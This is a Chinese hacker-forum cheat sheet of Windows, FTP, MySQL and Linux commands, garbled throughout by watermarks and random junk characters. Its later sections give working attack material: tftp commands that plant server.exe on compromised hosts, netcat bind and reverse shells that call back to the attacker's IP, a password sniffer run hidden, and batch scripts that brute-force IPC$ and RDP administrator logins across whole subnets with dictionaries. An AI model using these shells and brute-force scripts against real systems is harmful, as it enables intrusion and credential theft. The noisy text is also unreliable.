tQ)E$UnN'C0xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 ★黑基空间★ U@7t[1]Z~?K3C_
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 ★黑基空间★"a:QVz"aw+L$kx'i
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机 ★黑基空间★wt.i} W~-\
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) ★黑基空间★[1]X]1EC+ac|
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
6P }nv#o2f-s4?0arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 ★黑基空间★(` TfwgZ&\H
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 ★黑基空间★&]@,Z){
d
mem 查看cpu使用情况
1kD7M;["M0attrib 文件名(目录名) 查看某文件（目录）的属性
\] s{7c*Q|Q0attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 ★黑基空间★#Nb \#v Q1qR}'N
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
XJ)TVW3T.wh0date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 ★黑基空间★f IR^&j7|s
set 指定环境变量名称=要指派给变量的字符 设置环境变量 ★黑基空间★+`)LD"W:[(tAI
set 显示当前所有的环境变量
nG2G'rt)Gt/g%w0set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 ★黑基空间★(b l u3Y A5b$~
pause 暂停批处理程序，并显示出：请按任意键继续....
K^6mTz"s0if 在批处理程序中执行条件处理（更多说明见if命令及变量） ★黑基空间★n.}*S8\kX)C/Ua!v:[
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） ★黑基空间★*r5o-`XY
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
C!Q&lGX'{+S0for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） ★黑基空间★-X#~wEk r sl
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
J;Pa0U6|F
l$oR v0echo 信息 在屏幕上显示出信息 ★黑基空间★7~].adKO3N
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 ★黑基空间★p4fG&~T+C;K@
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
[1]\_ND&P$j,U3o0find 文件名 查找某文件
Woe2E}
m0title 标题名字 更改CMD窗口标题名字 ★黑基空间★pg ~7b!\+KT
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
+C
T/?Et v8O"A0prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
P{,^b%L}$z0
.?5Z K(e~0
aW`s+@4f:F z0ver 在DOS窗口下显示版本信息 ★黑基空间★ {WOW1}?U @
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
0j:rM2d?c^.N {0format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
A8f,j)wg/U.q@0md 目录名 创建目录 ★黑基空间★ |1v w/gD B
replace 源文件 要替换文件的目录 替换文件 ★黑基空间★$Ut^sZ
O~
ren 原文件名 新文件名 重命名文件名
+Y,]Gn7a%S&u3o"A0tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
5D(H g&ck0type 文件名 显示文本文件的内容
Yi1|S`Rl;L0more 文件名 逐屏显示输出文件 ★黑基空间★-PG^RY U2i[[k
doskey 要锁定的命令＝字符★黑基空间★8r{+d6b$|3sk3L
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= ★黑基空间★:x rvs\
taskmgr 调出任务管理器
tC,] G2p'r0chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 ★黑基空间★qS0o-ua;i
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
-tG)q6o3dc%R0exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
*di$|Zkwx0path 路径\可执行文件的文件名 为可执行文件设置一个路径。
9c*E0rz P0cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? ★黑基空间★:J
K)M/c6` iiB+_kz.N
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
N D:BgUWL6f8O-O0regedit /e 注册表文件名 导出注册表 ★黑基空间★'X;l]7G"?y+T
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 ★黑基空间★(N:~-S;YGC!y
cacls 文件名 查看文件的访问用户权限列表
Q3}4XpccN0REM 文本内容 在批处理文件中添加注解 ★黑基空间★t0``2@:^([4f @
netsh 查看或更改本地网络配置情况★黑基空间★([;hKK pfu\O:I|
★黑基空间★6y-o.Bd.H6I
★黑基空间★'E{&|3W FUg
IIS服务命令：
(j
H;oN W0iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
9A.T4`D%s W0iisreset /start或stop 启动（停止）所有Internet服务
JnzYn3y0iisreset /restart 停止然后重新启动所有Internet服务 ★黑基空间★Dr5\&s/T
iisreset /status 显示所有Internet服务状态 ★黑基空间★Aj4P;si:n
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 ★黑基空间★n Eh YrL
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
i[1]N%\:\? A0iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
w"B#A/I2UM0iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 ★黑基空间★b2Ygj iM [ as t
FTP 命令： (后面有详细说明内容) ★黑基空间★ J,BrU ]*D'^
ftp的命令行格式为:★黑基空间★(d?\)m}]8\[1]D*t[1]V
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。★黑基空间★5U2N-q&Y(L NIE
－d 使用调试方式。
"\&`6@;I ^S]0－n 限制ftp的自动登录,即不使用.netrc文件。★黑基空间★sfo$t M
－g 取消全局文件名。
:YN$J$c%Oh0help [命令] 或 ？[命令] 查看命令说明
0zQ'b[1]B `nRs0bye 或 quit 终止主机FTP进程,并退出FTP管理方式. ★黑基空间★J3c.L'q$~)x"D!tVX
pwd 列出当前远端主机目录
A%V!k-EB@;ov0put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 ★黑基空间★X9]
s7q1_%I1Te
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
&P%qh0K@aE?M0mget [remote-files] 从远端主机接收一批文件至本地主机
j4Y)tq.c*y`0mput local-files 将本地主机中一批文件传送至远端主机 ★黑基空间★_[1]i ` [ LE
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
7D1|6q|a!BQ eX0ascii 设定以ASCII方式传送文件(缺省值)
^ r1U I}P@0bin 或 image 设定以二进制方式传送文件 ★黑基空间★K(i!Sj'^d
bell 每完成一次文件传送,报警提示
S J&K y:t:@+TZ%Z9F0cdup 返回上一级目录
$V$C&T;c$e9r(swd7bM0close 中断与远程服务器的ftp会话(与open对应)
}
z w:Go `?W0open host[port] 建立指定ftp服务器连接,可指定连接端口
k!]KY W0delete 删除远端主机中的文件
q [6V3K5wE7LE0mdelete [remote-files] 删除一批文件
*q:R`L&[H0t0mkdir directory-name 在远端主机中建立目录 ★黑基空间★4WV{{d
rename [from] [to] 改变远端主机中的文件名
4{y*yBR |9XR6{0rmdir directory-name 删除远端主机中的目录
'`1C"KBo Q;KT0status 显示当前FTP的状态 ★黑基空间★[3kU:j/X
system 显示远端主机系统类型 ★黑基空间★ Y;n#f%U i y1cYot
user user-name [password] [account] 重新以别的用户名登录远端主机
P&ZV#I.Va]0open host [port] 重新建立一个新的连接 ★黑基空间★5k7l9J(@%`,}&~.{G;u
prompt 交互提示模式
o*d$i)_J8o2YD)^0macdef 定义宏命令 ★黑基空间★1Na3Y5}k#]"e#C6m$Rxm
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
-rt$`&Lta Ih0chmod 改变远端主机的文件权限
{_%lBNm0case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 ★黑基空间★7k Wq4c!| m?d%em*`
cd remote－dir 进入远程主机目录 ★黑基空间★'S?~8Y*C ziv}
cdup 进入远程主机目录的父目录 ★黑基空间★Q;f _k&X"J1?
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
S-dj*o B nR-u N$W0
m GlwL9U0★黑基空间★!P
} g Ra.D
MYSQL 命令：
*u%w|[1]Pu I~~ZgcN0mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。★黑基空间★*F?_~/m$r
（例：mysql -h110.110.110.110 -Uroot -P123456
x^S p'Y*f0注:u与root可以不用加空格，其它也一样）
Q H}X p?7s0exit 退出MYSQL ★黑基空间★+`:i"T*|8t%[ y
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
wCfh"]] H0grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
*a_&o[1]k+B[1]R3y(Y0show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 ★黑基空间★Ez%t I,{#Xr
[ bB
use mysql；
s _7~D&}8m i PP0show tables; 显示库中的数据表 ★黑基空间★!l9k&[@*K'T9J:?
e
describe 表名; 显示数据表的结构
)p@/bz;W0create database 库名; 建库 ★黑基空间★bF
Qv7R#X ]?N[1]t
use 库名；★黑基空间★"K"c E$I.fd
create table 表名 (字段设定列表)； 建表 ★黑基空间★ c9Q8M\)GK/B*N1c
drop database 库名; ★黑基空间★.j#x/m i;GJ4L2h
drop table 表名； 删库和删表
z j~/m$I
r0delete from 表名; 将表中记录清空
z,I#~.C0r-~;v{0select * from 表名; 显示表中的记录
5tdY?W}^4m0mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 ★黑基空间★1bt%s(}@n!^s2KU
win2003系统下新增命令（实用部份）：
![qicO(O.L0shutdown /参数 关闭或重启本地或远程主机。
N,gP ~Ix DS0参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。★黑基空间★-hO~%~X r
例：shutdown /r /t 0 立即重启本地主机（无延时） ★黑基空间★ S[1]i!l/}}MG
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。★黑基空间★7c FD}N[1]b W0]/G
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 ★黑基空间★3XJ |f[1]dHOp2GLP
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。★黑基空间★$k r?ts+xohBx G
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
!k P3E!Y x fq5J:x?l0
&l)aQ
M Iv0★黑基空间★$W
Y-W0{N(y:a
★黑基空间★ \[1]S9O2v6i4I1]
Linux系统下基本命令： 要区分大小写
UG5V$oSN?K0no#hz-P_l0uname 显示版本信息（同win2K的 ver） ★黑基空间★,T"`&V9\BTlPlzF
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） ★黑基空间★0D0i-EZ?A i'~8GoZw
pwd 查询当前所在的目录位置 ★黑基空间★5@K K7JK4s
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。 ★黑基空间★.K E.O6U8t)j N9D AK
cat 文件名 查看文件内容
8ffZ:rx"Yoz?W+b0cat >abc.txt 往abc.txt文件中写上内容。 ★黑基空间★5N,Fihp^ }'C
more 文件名 以一页一页的方式显示一个文本文件。 ★黑基空间★.u9M0gOg;E9whTE
cp 复制文件
#ga5i!aD l0mv 移动文件 ★黑基空间★f V"p+@ m[,oD:r ]
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
1A?qi/H0O0mkdir 目录名 建立目录 ★黑基空间★X|1Ak q L
rmdir 删除子目录，目录内没有文档。
+bm
~Q&qAJ u0chmod 设定档案或目录的存取权限
"Q3R` ~~ j2d0grep 在档案中查找字符串 ★黑基空间★0I p*?!lYqn![
diff 档案文件比较
w
T p U
G[4zdJ0find 档案搜寻
lX/K"h7j+oG0date 现在的日期、时间
A] J[T1R4|[1]S7x0who 查询目前和你使用同一台机器的人以及Login时间地点
-zcS6^|&r y0w 查询目前上机者的详细资料
6KGeZs(j5V I IH/BE0whoami 查看自己的帐号名称 ★黑基空间★9I6Y-{L{T-oN
groups 查看某人的Group ★黑基空间★ E0^&VQ#L!]9E
passwd 更改密码 ★黑基空间★7[v^ p[1]k F rK2R+c4D5h
history 查看自己下过的命令 ★黑基空间★5A+Zsb[`7A pD3A[1]_
ps 显示进程状态 ★黑基空间★6q0l,X*|Ho6\&YYJ]
kill 停止某进程 ★黑基空间★*uU7V?E ` x}*V7oE
gcc 黑客通常用它来编译C语言写的文件
?!['vGw&r0su 权限转换为指定使用者
"~C2xde6FT0telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 ★黑基空间★x7[7\ [^
ftp ftp连接上某服务器（同win2K）
1l:T4Ak8H t y_0★黑基空间★i/A
ug3O:J|}7i[9V
)WaWj?U0附：批处理命令与变量
$kg_7m F[1]z[1]X+A(z+bW0★黑基空间★:|H)O'o/z+L(`(VE
1：for命令及变量 基本格式：
$k{Q HwSb7}0FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。★黑基空间★[q?l1d
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
[-ai?a1Ao0
.W X
s3TQBe n7b0(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }★黑基空间★U8g(j,} q PZ
★黑基空间★aY:D&[[1]M-j
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开★黑基空间★5m_3w u~
e
command_parameters：为特定命令指定参数或命令行开关
pk2C6H7b0
t)ws3G:z0IN (set)：指在(set)中取值；DO command ：指执行command★黑基空间★.h"{:VG Z!b r
E3Z}
★黑基空间★&e1v/o)tv-bI
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 ★黑基空间★8DY3Zgf \8L3Kn
用法举例：
cL9X;G9jI${?@-x+E4T0@echo off
Wf"v\?lI0echo 用法格式：test.bat *.*.* > test.txt ★黑基空间★R;wS ]^$P-l
l0]\&X-N4vP)| {0for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
3gwO.]y0存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。★黑基空间★ T,Z?~1hu!?b_8N,DI
★黑基空间★s ` d(OZSQ6r+S l c
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。
m/Z[1]i1H[1]R X!X.tZO0@echo off
PI M]5v@~;{0echo 用法格式：ok.bat ip ★黑基空间★;cM!d&r3ui
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
3K Ls iU;\.v*b6z L0存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
1[:v/B ZH#}!u*k8a0★黑基空间★ GTw)x e)n.Lh
★黑基空间★"O0r(A+n,@.X
2：if命令及变量 基本格式：
*[])K_}a/L0IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。
7g1qy)Tk-]_s0例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。★黑基空间★
{(\xj7iE;wP
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 ★黑基空间★'u.lnm[1]m?kU3T&s
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。★黑基空间★.u
AaA?/?J4u1x?U Z
例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） ★黑基空间★#mR3H3IM9th!Jl D+U
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。★黑基空间★ S5Z:~a`!I
例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 ★黑基空间★dMD;| Y"TRL#}E Fp
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt.
E w&t1G6W4@R*i0★黑基空间★,G*t.R/fU?}`z
Fh2U.Z$CE0系统外部命令(均需下载相关工具)：★黑基空间★#y?F1tv-] T
E4Y;Y-C
H?l@xE[1]B0?'tqF01瑞士军刀：nc.exe
Q K x;m%I+B0★黑基空间★;]|%u:S:Y&JF#w
参数说明： ★黑基空间★6R%hJ-Kq0Dq:T{
-h 查看帮助信息 ★黑基空间★-NC d0zW:s[
-d 后台模式 ★黑基空间★7I/||^1|_
-e prog程序重定向，一但连接就执行［危险］ ★黑基空间★9_#w$S"U.]0N`;e
-i secs延时的间隔
7\ HHGy!O L0-l 监听模式，用于入站连接 ★黑基空间★
k(? B,b5g!xh!l;vo
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C ★黑基空间★1PI;c8@Mw&~ `&_
y)dA
-n IP地址，不能用域名 ★黑基空间★ uGO Gq[1]sR7p+l
-o film记录16进制的传输 ★黑基空间★A{yghH
-p[空格]端口 本地端口号
0~6{;g3K t ho4y#NU0-r 随机本地及远程端口 ★黑基空间★+d5\*E)]5LQ%bZ"x
-t 使用Telnet交互方式 ★黑基空间★)Fq:Q*d;lx+[
-u UDP模式 ★黑基空间★ Q$@*o/Rp
-v 详细输出，用-vv将更详细
v,S7w/k'o7c m1q0-w数字 timeout延时间隔
K"b{ Y^2s S0z0-z 将输入，输出关掉（用于扫锚时） ★黑基空间★ dcQ?? V1t?
基本用法：
/\!P4v9| |DI0nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
2B"vm[1]Z ]$^ iD1`!e0nc -l -p 80 开启本机的TCP 80端口并监听 ★黑基空间★N#S0~&a*h"TP
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
,_R?4P@b5r_/b0nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
l nO'A gU!J B5\0nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 ★黑基空间★}"O;y:y4RK
高级用法：
K.g0pP^*Ms0nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 ★黑基空间★7xO;K$hEZ
nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt
[#Nb0i$h_~8T9x `:z Z0nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 ★黑基空间★*i ] Sj&p9g
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
$`:U y]
O"v_|'m7j1b+p0本机上用：nc -l -p 本机端口 ★黑基空间★4kpf7H%Z*oa
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K★黑基空间★ S\(qj!y5r]
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
5b } ac$^/hy#Q0本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
c5\H'~v!DdV0在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
/zr8~GgZ^or0备 注：
_D5NXv!f'nH0| 管道命令 ★黑基空间★;au$n8xT^(@%U6n;@7d
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
-RC1j-g[1]y?i$uV#x0＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 ★黑基空间★3Q4_?\'S~N I
>与>>的区别 ">"指：覆盖；">>"指：保存到(添加到）。
qV1o%b!db0如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。
\ L slRj!E8zwv0
c6h5W/@#c02扫锚工具：xscan.exe
3Z;Jt)v px;A0★黑基空间★"g/sV7y0D8N7K
基本格式
G R n7Y_RO#B0xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
9Xr!R%q5tW0xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 ★黑基空间★+{Z$s8WZwA
检测项目 ★黑基空间★ k6~#@?&j[1]9Y
-active 检测主机是否存活
c1Eic
c6`itg0-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） ★黑基空间★#kI t`w|O
-port 检测常用服务的端口状态 ★黑基空间★9s2N2l~Z!T7T/p+QM
-ftp 检测FTP弱口令 ★黑基空间★jPdfV*a E
-pub 检测FTP服务匿名用户写权限
%?7Y m2La b0-pop3 检测POP3-Server弱口令
(I|&Z V k0-smtp 检测SMTP-Server漏洞
%i{ Gu)_\$o2?0-sql 检测SQL-Server弱口令 ★黑基空间★,ul cMa,n*z*J
-smb 检测NT-Server弱口令 ★黑基空间★8EqKb^-Yn8i
-iis 检测IIS编码/解码漏洞
6N#{`z`S8_F0q,`)f0-cgi 检测CGI漏洞
[1]t[1]m-r/V
u0-nasl 加载Nessus攻击脚本 ★黑基空间★ np%t u)H[Mj#}&l2a
-all 检测以上所有项目 ★黑基空间★+c9`/~;D$zr
其它选项 ★黑基空间★.x AzH@
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
1M'Y pr
H N6t)H;L0-l 显示所有网络适配器 ★黑基空间★ KN)`)?:W[1]Y"o-[2{
-v 显示详细扫描进度 ★黑基空间★fz+[E[1]`5kp+j
b
-p 跳过没有响应的主机
Ca[1]a isJ)bVC0\0-o 跳过没有检测到开放端口的主机 ★黑基空间★9UuJ,i4TV&c7Z
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 ★黑基空间★ |e'j7j6J$B%M
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) ★黑基空间★4E DJ$u+{0DG]
用法示例 ★黑基空间★,e K k5o*S CFr5Gm8\s*C
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 ★黑基空间★B/C ?E&j(a-K|&@k
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 ★黑基空间★S%^/r b7b;s UU{p
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机
\k%`&r?ta0
6KF `G*TaH0B?0★黑基空间★ N6}{M@'U
3命令行方式嗅探器: xsniff.exe
*l;_#_2kj lA0可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
P!Nk/_$ug e8H0参数说明
#{+rfK
s z0-tcp 输出TCP数据报
{a*f |-N&u0-udp 输出UDP数据报 ★黑基空间★+q X:}J&\$I!@
-icmp 输出ICMP数据报
k H.sq7Z?)R0-pass 过滤密码信息
[1]V6`t q1K Ft0-hide 后台运行 ★黑基空间★;a
G,S~6n3[.cmfg
-host 解析主机名
/S:l;bsmkr%q b0-addr IP地址 过滤IP地址
4Qk] H-{;n,bXu0l0-port 端口 过滤端口 ★黑基空间★7T"B
cA jC&OLy*N
-log 文件名 将输出保存到文件 ★黑基空间★9n4l:jlkl3a`
-asc 以ASCII形式输出 ★黑基空间★[1]b1u VB K#W
-hex 以16进制形式输出 ★黑基空间★ KA?/Y/O5b7M
用法示例
z,o8b2|8yg9\0xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
Z_;zUq3FX0xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
{v\+\(?n0
pt z-Ui,dY;p04参数说明 ★黑基空间★ [)G
PTsQ
-h 显示使用帮助 ★黑基空间★g/d^_S#u`p;R[
-v 显示版本信息
/P!@"o3irNj5t0-s 在屏幕上打出解密能力 ★黑基空间★ Bl2}G R:Ln[{2q(I4x4{
-b 密码错误时发出的声音
i,U*e ujj?4mr0-t 同是发出多个连接（多线程） ★黑基空间★T!\"t5mB V$e#v"_+GG X"E
-N Prevent System Log entries on targeted server
J4X8v m2k,Q0-U 卸载移除tscrack组件 ★黑基空间★q\$P#[S)ni$b,g;lM
-f 使用－f后面的密码 ★黑基空间★'i:Y^ {r'p'r
-F 间隔时间（频率）
Did(`nO nw0-l 使用－l后面的用户名
RH?U nX4u
H0-w 使用－w后面的密码字典
~\YU,Q0-p 使用－p后面的密码 ★黑基空间★3o"I)C%WrxR
-D 登录主页面
9sM CGy0用法示例 ★黑基空间★6p*k5t ^ Q){t5q_
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 ★黑基空间★{M if5z)e%x(Jj \*b0}
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 ★黑基空间★ P*a
[ T+v
U1ka+M*HUU
@if not exist ipcscan.txt goto noscan
u-bN s2R(j0@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i ★黑基空间★2A.C5c2['g?L\ az
nscan ★黑基空间★ K,p
W6^`~
@echo 3389.txt no find or scan faild
/b$@0gbIp&A0(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) ★黑基空间★ j&K%L.i$o2nV
3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat
g oD9y8s'k0@if not exist tscrack.exe goto noscan
#u0|&BN __n o0@tscrack %1 -l administrator -w pass.dic >>rouji.txt ★黑基空间★ kCz"Icdv
:noscan ★黑基空间★3a#J:wb2u&O
@echo tscrack.exe no find or scan faild ★黑基空间★
D7K&S'IkB)k3` Q ~f
(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了)
